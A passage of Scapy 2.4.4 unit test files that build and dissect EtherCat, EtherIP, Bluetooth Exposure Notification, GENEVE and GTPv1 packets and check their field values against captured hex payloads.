255) for dummy in range(random.randint(1, 10))] frm = Ether() / EtherCat() / EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[type_id](data= data) frm = Ether(frm.do_build()) # expect to have one layer of current Type12 DLPDU type dlpdu_lyr = frm[EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[type_id]] assert(dlpdu_lyr.data == data) = EtherCat and Type12 DLPDU layer using structure used for physical and broadcast addressing # the code is the same for all layer sharing this structure - no need to test em all test_data = [121,99,110,104,114,109,58,41] frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=test_data) frm = Ether(frm.do_build()) aprd_lyr = frm[EtherCatAPRD] assert(aprd_lyr.adp == 0x1234) assert(aprd_lyr.ado == 0x5678) assert(aprd_lyr.irq == 0xbad0) assert(aprd_lyr.wkc == 0xbeef) assert(aprd_lyr.data == test_data) = EtherCat and Type12 DLPDU layer using structure used for logical addressing test_data = [116,104,101,116,97,111,105,115,103,114,101,97,116] frm = Ether() / EtherCat() / EtherCatLRD(adr=0x11223344, irq=0xbad0, wkc=0xbeef, data=test_data) frm = Ether(frm.do_build()) aprd_lyr = frm[EtherCatLRD] assert (aprd_lyr.adr == 0x11223344) assert (aprd_lyr.irq == 0xbad0) assert (aprd_lyr.wkc == 0xbeef) assert (aprd_lyr.data == test_data) = EtherCat and randomly stacked Type12 DLPDU layers for outer_dummy in range(10): frm = Ether()/EtherCat() layer_ids = [] for inner_dummy in range(random.randint(1, 20)): layer_id = random.choice(list(EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES)) layer_ids.append(layer_id) frm = frm / EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[layer_id]() # build frame and convert back frm = Ether(frm.do_build()) idx = 0 for layer_id in layer_ids: assert(type(EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[layer_id]()) == type(frm[2 + idx])) idx += 1 scapy-2.4.4/test/contrib/etherip.uts000066400000000000000000000005371372370053500174660ustar00rootroot00000000000000+ EtherIP Contrib tests = Basic EtherIP test pkt = Ether(b'\x99\xc1o\xd2\xf5c\x9d\xb7\xd0\xc2\xe0\xd3\x08\x00E\x00\x00@\x00\x01\x00\x00@a,\xf3B\x83\x17\xc6\xad\xc2E^0\x00\xd5/\xf26\xab\xe2\x9f\xb4tD\xa4\x98\x08\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01W-\xe7\x98H\xfa\xad\xc2E^\x08\x00\xf7\xff\x00\x00\x00\x00') assert ICMP in pkt assert EtherIP in pkt scapy-2.4.4/test/contrib/exposure_notification.uts000066400000000000000000000034061372370053500224440ustar00rootroot00000000000000% Exposure Notification System tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('exposure_notification')" -t test/contrib/exposure_notification.uts + ENS tests = Setup def next_eir(p): return EIR_Hdr(p[Padding].load) = Presence check Exposure_Notification_Frame = Raw payload copied from BluetoothExplorer.app d = hex_bytes('17df1d67405e3395470e62ca4fda6a9303687b31') p = Exposure_Notification_Frame(d) assert p.identifier == hex_bytes('17df1d67405e3395470e62ca4fda6a93') assert p.metadata == hex_bytes('03687b31') = Raw captured payload d = hex_bytes('02011a03036ffd17166ffde23f352fa09307a85d4194912443180d484dc151') p = EIR_Hdr(d) # First is a flags header assert EIR_Flags in p # Then the 16-bit Service Class ID p = next_eir(p) assert p[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [ EXPOSURE_NOTIFICATION_UUID] # Then the ENS p = next_eir(p) assert p[EIR_ServiceData16BitUUID].svc_uuid == EXPOSURE_NOTIFICATION_UUID assert p[Exposure_Notification_Frame].identifier == hex_bytes( 'e23f352fa09307a85d4194912443180d') assert p[Exposure_Notification_Frame].metadata == hex_bytes('484dc151') # Rebuild the payload. p2 = p[Exposure_Notification_Frame].build_eir() # Our captured payload was from a mobile phone, but build_eir presumes that # we're broadcasting as an non-connectable, LE-only beacon. We need to adjust # these flags to match the captured packet. p2[0] = EIR_Hdr() / EIR_Flags(flags=[ 'general_disc_mode', 'simul_le_br_edr_ctrl', 'simul_le_br_edr_host']) # Ensure we didn't mutate LowEnergyBeaconHelper.base_eir just then. assert LowEnergyBeaconHelper.base_eir[0][EIR_Flags].flags == [ 'general_disc_mode', 'br_edr_not_supported'] # Assemble all packet bytes assert b''.join(map(raw, p2)) == d scapy-2.4.4/test/contrib/geneve.uts000066400000000000000000000053341372370053500172770ustar00rootroot00000000000000# GENEVE unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('geneve')" -t test/contrib/geneve.uts + GENEVE = Build & dissect - GENEVE encapsulates Ether s = raw(IP()/UDP(sport=10000)/GENEVE()/Ether(dst='00:01:00:11:11:11',src='00:02:00:22:22:22')) assert(s == b'E\x00\x002\x00\x01\x00\x00@\x11|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\'\x10\x17\xc1\x00\x1e\x9a\x1c\x00\x00eX\x00\x00\x00\x00\x00\x01\x00\x11\x11\x11\x00\x02\x00"""\x90\x00') p = IP(s) assert(GENEVE in p and Ether in p[GENEVE].payload) = Build & dissect - GENEVE with options encapsulates Ether s = raw(IP()/UDP(sport=10000)/GENEVE(critical=1, options=b'\x00\x01\x81\x02\x0a\x0a\x0b\x0b')/Ether(dst='00:01:00:11:11:11',src='00:02:00:22:22:22')) assert(s == b'E\x00\x00:\x00\x01\x00\x00@\x11|\xb0\x7f\x00\x00\x01\x7f\x00\x00\x01\'\x10\x17\xc1\x00&\x01\xb4\x02@eX\x00\x00\x00\x00\x00\x01\x81\x02\n\n\x0b\x0b\x00\x01\x00\x11\x11\x11\x00\x02\x00"""\x90\x00') p = IP(s) assert(GENEVE in p and Ether in p[GENEVE].payload and p[GENEVE].critical == 1 and p[GENEVE].optionlen == 2) = Build & dissect - GENEVE encapsulates IPv4 s = raw(IP()/UDP(sport=10000)/GENEVE()/IP()) assert(s == b"E\x00\x008\x00\x01\x00\x00@\x11|\xb2\x7f\x00\x00\x01\x7f\x00\x00\x01'\x10\x17\xc1\x00$\xba\xd2\x00\x00\x08\x00\x00\x00\x00\x00E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01") p = IP(s) assert(GENEVE in p and IP in p[GENEVE].payload) = Build & dissect - GENEVE encapsulates IPv6 s = raw(IP()/UDP(sport=10000)/GENEVE()/IPv6()) assert(s == b"E\x00\x00L\x00\x01\x00\x00@\x11|\x9e\x7f\x00\x00\x01\x7f\x00\x00\x01'\x10\x17\xc1\x008\xa0\x8a\x00\x00\x86\xdd\x00\x00\x00\x00`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01") p = IP(s) assert(GENEVE in p and IPv6 in p[GENEVE].payload) = GENEVE - Answers a = GENEVE(proto=0x0800)/b'E\x00\x00\x1c\x00\x01\x00\x00@\x01\xfa$\xc0\xa8\x00w\xac\xd9\x12\xc3\x08\x00\xf7\xff\x00\x00\x00\x00' b = GENEVE(proto=0x0800)/b'E\x00\x00\x1c\x00\x00\x00\x007\x01\x03&\xac\xd9\x12\xc3\xc0\xa8\x00w\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = Raw("data") a = GENEVE(raw(a)) b = GENEVE(raw(b)) assert b.answers(a) assert not a.answers(b) assert not b.answers(c) assert not a.answers(c) = GENEVE - Summary a = GENEVE(proto=0x0800)/b'E\x00\x00\x1c\x00\x01\x00\x00@\x01\xfa$\xc0\xa8\x00w\xac\xd9\x12\xc3\x08\x00\xf7\xff\x00\x00\x00\x00' a = GENEVE(raw(a)) assert a.summary() == 'GENEVE / IP / ICMP 192.168.0.119 > 172.217.18.195 echo-request 0' assert a.mysummary() in ['GENEVE (vni=0x0,optionlen=0,proto=0x800)', 'GENEVE (vni=0x0,optionlen=0,proto=IPv4)'] scapy-2.4.4/test/contrib/gtp.uts000066400000000000000000000517771372370053500166340ustar00rootroot00000000000000# GTP unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('gtp')" -t test/contrib/gtp.uts + GTPv1 = GTPHeader, basic instantiation a = GTPHeader() assert a.version == 1 assert a.E == a.S == a.PN == 0 = GTP_U_Header detection a = GTPHeader(raw(GTP_U_Header()/GTPErrorIndication())) assert isinstance(a, GTP_U_Header) = GTP_U_Header with PDU Session Container a = GTPHeader(raw(GTP_U_Header()/GTPPDUSessionContainer(QFI=3))) assert isinstance(a, GTP_U_Header) assert a[GTP_U_Header].E == 1 and a[GTP_U_Header].next_ex == 0x85 assert a[GTPPDUSessionContainer].ExtHdrLen == 1 assert a[GTPPDUSessionContainer].P == 0 and a[GTPPDUSessionContainer].R == 0 assert a[GTPPDUSessionContainer].QFI == 3 assert a[GTPPDUSessionContainer].NextExtHdr == 0 = GTP_U_Header with PDU Session Container with QFI/PPI a = GTPHeader(raw(GTP_U_Header()/GTPPDUSessionContainer(type=1, QFI=3, P=1, PPI=6))) assert isinstance(a, GTP_U_Header) assert a[GTP_U_Header].E == 1 and a[GTP_U_Header].next_ex == 0x85 assert a[GTPPDUSessionContainer].ExtHdrLen == 2 assert a[GTPPDUSessionContainer].P == 1 and a[GTPPDUSessionContainer].R == 0 assert a[GTPPDUSessionContainer].QFI == 3 and a[GTPPDUSessionContainer].PPI == 6 assert a[GTPPDUSessionContainer].NextExtHdr == 0 assert a[GTPPDUSessionContainer].type == 1 = GTP_U_Header sub layers a = IPv6(raw(IPv6()/UDP()/GTP_U_Header()/IPv6())) b = IPv6(raw(IPv6()/UDP()/GTP_U_Header()/IP())) c = IP(raw(IP()/UDP()/GTP_U_Header()/IPv6())) d = IP(raw(IP()/UDP()/GTP_U_Header()/IP())) assert isinstance(a[GTP_U_Header].payload, IPv6) assert isinstance(b[GTP_U_Header].payload, IP) assert isinstance(c[GTP_U_Header].payload, IPv6) assert isinstance(d[GTP_U_Header].payload, IP) a = IP(raw(IP()/UDP()/GTP_U_Header()/PPP())) assert isinstance(a[GTP_U_Header].payload, PPP) = GTPPDUSessionContainer(), dissect h = "fa163e7da573fa163e43f8e708004500008400000000fd119f520a0a05010a0a0502086808680070000034ff006000000010fa163e85020044000000000045000054cd4e000040015a440a0a08020a0a370100001aca0046000142cff45e00000000e2ed0c0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637" gtp = Ether(hex_bytes(h)) gtp[GTP_U_Header].ExtHdrLen == 2 and gtp[GTP_U_Header].extraPadding == b'\x00\x00\x00\x00' and gtp[GTP_U_Header][IP].src == '10.10.8.2' and gtp[GTP_U_Header][IP][ICMP].type == 0 = GTPEchoResponse matches GTPEchoRequest by seq req = GTPHeader(seq=12345)/GTPEchoRequest() res = GTPHeader(seq=12345)/GTPEchoResponse() assert req.hashret() == res.hashret() assert res.answers(req) = GTPCreatePDPContextRequest(), basic instantiation gtp = IP(src="127.0.0.1", dst="127.0.0.1")/UDP(dport=2123, sport=2123)/GTPHeader(teid=2807)/GTPCreatePDPContextRequest() gtp.dport == 2123 and gtp.teid == 2807 and len(gtp.IE_list) == 5 = GTPCreatePDPContextRequest(), basic dissection random.seed(0x2807) rg = raw(gtp) rg assert rg in [ b"E\x00\x00K\x00\x01\x00\x00@\x11|\x9f\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x007\x99\xce0\x10\x00'\x00\x00\n\xf7\x10\x12\x05\xf7(\x14\x0b\x85\x00\x04\xb7\xd0\xbf \x85\x00\x04\xe2\xb8\x88\x19\x87\x00\x0ffOTLcIukpXKxV0Z", b"E\x00\x00K\x00\x01\x00\x00@\x11|\x9f\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x007n\xb20\x10\x00'\x00\x00\n\xf7\x10\x91\x9f\xbc\xaa\x14\x07\x85\x00\x04<\x7f\x87\x14\x85\x00\x04\xbcU\x14\xcb\x87\x00\x0f9Co27Fbj65eKHyQ", ] = GTPV1UpdatePDPContextRequest(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044ed99aea9386f0000100000530514058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080112f41004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) assert gtp.gtp_type == 18 assert gtp.next_ex == 0 = GTPV1UpdatePDPContextResponse(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300305843da17f07300000180100000032c7f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) gtp.gtp_type == 19 = IE_Cause(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030f15422be19ed0000018010000046a97f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 1 and ie.CauseValue == 128 = IE_Cause(), basic instantiation ie = IE_Cause(CauseValue='IMSI not known') ie.ietype == 1 and ie.CauseValue == 194 = IE_IMSI(), dissect h = "333333333333222222222222810083840800458800ba00000000fc1185060a2a00010a2a00024ace084b00a68204321000960eeec43e99ae00000202081132547600000332f42004d27b0ffc102c0787b611b2f9023914051a0400800002f1218300070661616161616184001480802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f7396737374f2ffff0094000120970001029800080032f42004d204d299000240009a00081111111111110000d111193b" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 2 and ie.imsi == b'2080112345670000' = IE_IMSI(), basic instantiation ie = IE_IMSI(imsi='208103397660354') ie.ietype == 2 and ie.imsi == b'208103397660354' = IE_Routing(), dissect h = "33333333333322222222222281008384080045880072647100003e11dcf60a2a00010a2a0002084b084b005e78d93212004ef51a4ac3a291ff000332f42004d27b10eb3981b414058500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a0094000110970001019800080132f42004d204d299000240fcb60001015bf2090f" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123 = IE_Routing(), basic instantiation ie = IE_Routing(MCC='234', MNC='02', LAC=1234, RAC=123) ie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123 = IE_Recovery(), dissect h = "3333333333332222222222228100038408004500002ac6e60000fd11ccbc0a2a00010a2a0002084b084b001659db32020006c192a26c8cb400000e0e00000000f4b40b31" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 14 and ie.restart_counter == 14 = IE_Recovery(), basic instantiation ie = IE_Recovery(restart_counter=14) ie.ietype == 14 and ie.restart_counter == 14 = IE_SelectionMode(), dissect h = "333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a11c025b77dccc00000202081132547600000332f42004d27b0ffc1055080923117c347b6a14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.ietype == 15 and ie.SelectionMode == 252 = IE_SelectionMode(), basic instantiation ie = IE_SelectionMode(SelectionMode=252) ie.ietype == 15 and ie.SelectionMode == 252 = IE_TEIDI(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300303f0ff4fb966f00000180109a0f08ef7f3af826978500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.ietype == 16 and ie.TEIDI == 0x9a0f08ef = IE_TEIDI(), basic instantiation ie = IE_TEIDI(TEIDI=0x9a0f08ef) ie.ietype == 16 and ie.TEIDI == 0x9a0f08ef = IE_TEICP(), dissect h = "333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a1b75eb617464800000202081132547600000332f42004d27b0ffc10db5c765711ba5d87ba14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[4] ie.ietype == 17 and ie.TEICI == 0xba5d87ba = IE_TEICP(), basic instantiation ie = IE_TEICP(TEICI=0xba5d87ba) ie.ietype == 17 and ie.TEICI == 0xba5d87ba = IE_Teardown(), dissect h = "3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008ba66ce5b6efe000013ff14050000c309006c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[0] ie.ietype == 19 and ie.indicator == 255 = IE_Teardown(), basic instantiation ie = IE_Teardown(indicator='True') ie.ietype == 19 and ie.indicator == 255 = IE_NSAPI(), dissect h = "3333333333332222222222228100838408004588002c00000000fd1184640a2a00010a2a00023d66084b00184c2232140008dafc273ee7ab000013ff14050000c309006c" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.ietype == 20 and ie.NSAPI == 5 = IE_NSAPI(), basic instantiation ie = IE_NSAPI(NSAPI=5) ie.ietype == 20 and ie.NSAPI == 5 = IE_ChargingCharacteristics(), dissect h = "333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb32100098a3e2565004a400000202081132547600000332f42004d27b0ffc10b87f17ad11c53c5e1b14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a00081111111111110000951c5bbe" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[6] ie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0 = IE_ChargingCharacteristics(), basic instantiation ie = IE_ChargingCharacteristics( normal_charging=0, prepaid_charging=1, flat_rate_charging=0) ie.ietype == 26 and ie.normal_charging == 0 and ie.prepaid_charging == 1 and ie.flat_rate_charging == 0 = IE_TraceReference(), basic instantiation ie = IE_TraceReference(Trace_reference=0x1212) ie.ietype == 27 and ie.Trace_reference == 0x1212 = IE_TraceType(), basic instantiation ie = IE_TraceType(Trace_type=0x1212) ie.ietype == 28 and ie.Trace_type == 0x1212 = IE_ChargingId(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030e77ffb7e30410000018010ed654ff37fff1bc3f28500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[2] ie.ietype == 127 and ie.Charging_id == 0xff1bc3f2 = IE_ChargingId(), basic instantiation ie = IE_ChargingId(Charging_id=0xff1bc3f2) ie.ietype == 127 and ie.Charging_id == 0xff1bc3f2 = IE_EndUserAddress(), dissect h = "3333333333332222222222228100838408004588008500000000fd11840b0a2a00010a2a0002084b4a6c00717c8a32110061c1b9728f356a0000018008fe10af709e9011e3cb6a4b7fb60e1b28800006f1210a2a00038400218080210a0301000a03060ab0aa93802110030100108106ac14020a8306ac1402278500040a2a00018500040a2a000187000c0213621f7396486874f2ffff44ded108" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3' = IE_EndUserAddress(), IPv4/IPv6 dissect h = "00e0fc065f3800e1fc452bf30800450000cf00004000ff11a8afbd28ac11bd28ac0b084b084b00bb0000321100ab645b29420f990000018008fe0e12100270582511027258257f030b15a6800016f18d0a2a00032805021582842522000000000000000084004f80c0230e0200000e0957656c636f6d65210a802110030000108106bd28c6508306bd28c651000310280402148000ffff0000000000000080000310280402148000ffff000000000000008100050101850004bd28ac12850004bd28ac1287000f0223921f9196fefe74f8fefe004a00fb00040acf6976" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[6] ie.ietype == 128 and ie.length == 22 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x8d and ie.PDPAddress == '10.42.0.3' and ie.IPv6_PDPAddress == '2805:215:8284:2522::' = IE_EndUserAddress(), basic instantiation IPv4 ie = IE_EndUserAddress( length=6, PDPTypeOrganization=1, PDPTypeNumber=0x21, PDPAddress='10.42.0.3') ie.ietype == 128 and ie.length == 6 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x21 and ie.PDPAddress == '10.42.0.3' = IE_EndUserAddress(), basic instantiation IPv6 ie = IE_EndUserAddress( length=18, PDPTypeOrganization=1, PDPTypeNumber=0x57, IPv6_PDPAddress='2804::') ie.ietype == 128 and ie.length == 18 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x57 and ie.IPv6_PDPAddress == '2804::' = IE_EndUserAddress(), basic instantiation IPv4/IPv6 ie = IE_EndUserAddress( length=22, PDPTypeOrganization=1, PDPTypeNumber=0x8d, PDPAddress='10.42.0.3', IPv6_PDPAddress ='2804::') ie.ietype == 128 and ie.length == 22 and ie.PDPTypeOrganization == 1 and ie.PDPTypeNumber == 0x8d and ie.IPv6_PDPAddress == '2804::' and ie.PDPAddress == '10.42.0.3' = IE_AccessPointName(), dissect h = "333333333333222222222222810083840800458800bc00000000fc1184c90a2a00010a2a00024acf084b00a87bbb3210009867fe972185e800000202081132547600000332f42004d27b0ffc1093b20c3f11940eb2bf14051a0400800002f1218300070661616161616184001480802110010000108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff004a0094000120970001019800080132f42004d204d299000240009a000811111111111100001b1212951c5bbe" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[8] ie.ietype == 131 and ie.APN == b'aaaaaa' = IE_AccessPointName(), basic instantiation ie = IE_AccessPointName(APN='aaaaaa') ie.ietype == 131 and ie.APN == b'aaaaaa' = IE_ProtocolConfigurationOptions(), dissect h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009fdef90e15440900000202081132547600000332f42004d27b0ffc10c29998b81145c6c9ee14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[9] ie.ietype == 132 and ie.Protocol_Configuration == b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00' = IE_ProtocolConfigurationOptions(), basic instantiation ie = IE_ProtocolConfigurationOptions( length=29, Protocol_Configuration=b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00') ie.ietype == 132 and ie.Protocol_Configuration == b'\x80\xc0#\x06\x01\x01\x00\x06\x00\x00\x80!\x10\x01\x01\x00\x10\x81\x06\x00\x00\x00\x00\x83\x06\x00\x00\x00\x00' = IE_GSNAddress(), simple build/dissect IPv4 r = raw(IE_GSNAddress(length=4, ipv4_address='10.42.0.1')) assert r == b'\x85\x00\x04\x0a\x2a\x00\x01' ie = IE_GSNAddress(r) ie.ietype == 133 and ie.ipv4_address == '10.42.0.1' = IE_GSNAddress(), simple build/dissect IPv6 r = raw(IE_GSNAddress(length=16, ipv6_address='fd01:1::1')) assert r == b'\x85\x00\x10\xfd\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' ie = IE_GSNAddress(r) ie.ietype == 133 and ie.ipv6_address == 'fd01:1::1' = IE_GSNAddress(), dissect IPv4 h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b463213003031146413c18000000180109181ba027fcf701a8c8500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[3] ie.ietype == 133 and ie.ipv4_address == '10.42.0.1' = IE_GSNAddress(), dissect IPv6 h = "33333333333322222222222286dd60000000002c1140fd010001000000000000000000000001fd01000100000000000000000000000208680868002ce2e9321a001c000000000000000010000004d2850010fd010001000000000000000000000001" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[1] ie.ietype == 133 and ie.ipv6_address == 'fd01:1::1' = IE_GSNAddress(), basic instantiation IPv4 ie = IE_GSNAddress(length=4, ipv4_address='10.42.0.1') ie.ietype == 133 and ie.ipv4_address == '10.42.0.1' = IE_GSNAddress(), basic instantiation IPv6 ie = IE_GSNAddress(length=16, ipv6_address='fd01:1::1') ie.ietype == 133 and ie.ipv6_address == 'fd01:1::1' = IE_MSInternationalNumber(), dissect h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f79504a3e048e00000202081132547600000332f42004d27b0ffc10a692773d1158da9e2214051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[12] ie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111' = IE_MSInternationalNumber(), basic instantiation ie = IE_MSInternationalNumber(flags=145, digits='111111111111') ie.ietype == 134 and ie.flags == 145 and ie.digits == b'111111111111' = IE_QoS(), dissect h = "3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030afe9d3a3317e0000018010bd82f3997f9febcaf58500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3 = IE_QoS(), basic instantiation ie = IE_QoS( allocation_retention_prioiry=2, delay_class=2, traffic_class=3) ie.ietype == 135 and ie.allocation_retention_prioiry == 2 and ie.delay_class == 2 and ie.traffic_class == 3 = IE_CommonFlags(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044623f97e3ac610000104d82c69214058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[5] ie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0 = IE_CommonFlags(), basic instantiation ie = IE_CommonFlags(nrsn=1, no_qos_nego=1) ie.ietype == 148 and ie.nrsn == 1 and ie.no_qos_nego == 1 and ie.prohibit_payload_compression == 0 = IE_APNRestriction(), basic instantiation ie = IE_APNRestriction(restriction_type_value=12) ie.ietype == 149 and ie.restriction_type_value == 12 = IE_RATType(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb321200442f686a89d33c000010530ec20a14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[6] ie.ietype == 151 and ie.RAT_Type == 1 = IE_RATType(), basic instantiation ie = IE_RATType(RAT_Type=1) ie.ietype == 151 and ie.RAT_Type == 1 = IE_UserLocationInformation(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044981eb5dcb29400001016e85d9f14058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[7] ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234 = IE_UserLocationInformation(), basic instantiation ie = IE_UserLocationInformation(MCC='234', MNC='02', LAC=1234, SAC=1234) ie.ietype == 152 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.SAC == 1234 = IE_MSTimeZone(), dissect h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044f24a4d5825290000102ca9c8c314058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080132f42004d204d29900024000b6000101" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[8] ie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0 = IE_MSTimeZone(), basic instantiation ie = IE_MSTimeZone(timezone=64) ie.ietype == 153 and ie.timezone == 64 and ie.daylight_saving_time == 0 = IE_IMEI(), dissect h = "333333333333222222222222810083840800458800c300000000fc1184e50a2a00010a2a00024a4d084b00af41993210009f2f3ae0eb7b9c00000202081132547600000332f42004d27b0ffc10424a10c8117ca21aba14051a0a00800002f1218300070661616161616184001d80c02306010100060000802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f73967373741affff0094000120970001029800080032f42004d204d299000240009a0008111111111111000081182fb2" gtp = Ether(hex_bytes(h)) ie = gtp.IE_list[18] and ie.ietype == 154 and ie.IMEI == b'0132750094080322' = IE_IMEI(), basic instantiation ie = IE_IMEI(IMEI='0132750094080322') ie.ietype == 154 